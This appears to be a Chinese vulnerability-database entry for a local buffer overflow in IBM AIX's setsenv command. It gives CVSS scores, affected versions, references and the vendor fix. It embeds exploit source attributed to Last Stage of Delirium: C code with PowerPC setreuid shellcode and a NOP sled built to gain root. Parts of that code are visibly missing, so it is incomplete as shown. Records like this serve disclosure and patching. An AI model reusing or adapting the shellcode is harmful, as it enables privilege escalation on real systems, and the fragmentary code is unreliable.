发布时间 :2001-01-09 00:00:00
修订时间 :2016-10-17 22:08:38

[原文]Buffer overflow in setsenv command in IBM AIX 4.3.x and earlier allows local users to execute arbitrary commands via a long "x=" argument.

[CNNVD]IBM AIX setsenv命令缓冲区溢出漏洞(CNNVD-200101-009)

        IBM AIX 4.3.x及其早期版本的 setsenv命令存在缓冲区溢出漏洞。本地用户可以借助超长"x="参数执行任意命令。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:ibm:aix:4.3IBM AIX 4.3
cpe:/o:ibm:aix:4.3.1IBM AIX 4.3.1
cpe:/o:ibm:aix:4.2IBM AIX 4.2
cpe:/o:ibm:aix:4.3.2IBM AIX 4.3.2
cpe:/o:ibm:aix:4.2.1IBM AIX 4.2.1
cpe:/o:ibm:aix:4.3.3IBM AIX 4.3.3

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20001201 Fixed local AIX V43 vulnerabilities
(UNKNOWN)  XF  aix-setsenv-bo(5621)

- 漏洞信息

IBM AIX setsenv命令缓冲区溢出漏洞
中危 缓冲区溢出
2001-01-09 00:00:00 2005-10-12 00:00:00
        IBM AIX 4.3.x及其早期版本的 setsenv命令存在缓冲区溢出漏洞。本地用户可以借助超长"x="参数执行任意命令。

- 公告与补丁


- 漏洞信息 (20452)

IBM AIX 4.x setsenv Buffer Overflow Vulnerability (EDBID:20452)
aix local
2000-12-01 Verified
0 Last Stage of Delirium
N/A [点击下载]

AIX is a version of the UNIX Operating System distributed by IBM. A problem exists that could allow a user elevated priviledges.

The problem occurs in the setsenv binary. It has been reported that a buffer overflow exists in this binary which could allow a user to overwrite variables on the stack, including the return address. This makes it possible for a malicious user to execute arbitrary code, and potentially attain a UID of 0. 

/*## copyright LAST STAGE OF DELIRIUM sep 2000 poland        *:// #*/
/*## /usr/bin/setsenv                                                        #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of the uname -a or oslevel commands            */

#define ADRNUM 200
#define NOPNUM 16000

char setreuidcode[]=
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel    <setreuidcode>         */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xb5\x01\x40"     /* cal     r21,0x140(r21)         */
    "\x88\x55\xfe\xe0"     /* lbz     r2,-288(r21)           */
    "\x7e\x83\xa3\x78"     /* mr      r3,r20                 */
    "\x3a\xd5\xfe\xe4"     /* cal     r22,-284(r21)          */
    "\x7e\xc8\x03\xa6"     /* mtlr    r22                    */
    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca                           */
    "\x38\x75\xff\x04"     /* cal     r3,-252(r21)           */
    "\x38\x95\xff\x0c"     /* cal     r4,-244(r21)           */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x90\x75\xff\x0c"     /* st      r3,-244(r21)           */
    "\x92\x95\xff\x10"     /* st      r20,-240(r21)          */
    "\x88\x55\xfe\xe1"     /* lbz     r2,-287(r21)           */
    "\x9a\x95\xff\x0b"     /* stb     r20,-245(r21)          */
    "\x4b\xff\xff\xd8"     /* bl      <setreuidcode+32>      */

char nop[]="\x7f\xff\xfb\x78";

main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM sep 2000 poland  //\n");
    printf("/usr/bin/setsenv for aix 4.1 4.2 4.3 4.3.x PowerPC/POWER\n\n");

        printf("usage: %s 41|42|43|433\n",argv[0]);exit(-1);

    case  41: memcpy(&setreuidcode[40],"\x68\x03",2); break;
    case  42: memcpy(&setreuidcode[40],"\x71\x02",2); break;
    case  43: memcpy(&setreuidcode[40],"\x82\x04",2); break;
    case 433: memcpy(&setreuidcode[40],"\x92\x03",2); break;
    default: exit(-1);

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;


    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];

    sprintf(b,"xxx=   ");b+=7;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];



- 漏洞信息

IBM AIX setsenv x Argument Handling Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in IBM AIX. The setsenv command fails to validate the x= parameter resulting in a buffer overflow. With a specially crafted request, an attacker can cause execution of arbitrary code as the root user resulting in a loss of confidentiality and/or integrity.

- 时间线

2000-12-01 Unknow
2000-12-01 Unknow

- 解决方案

Upgrade AIX using the APAR numbers AIX 4.2: IY10721 and AIX 4.3: IY08812 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete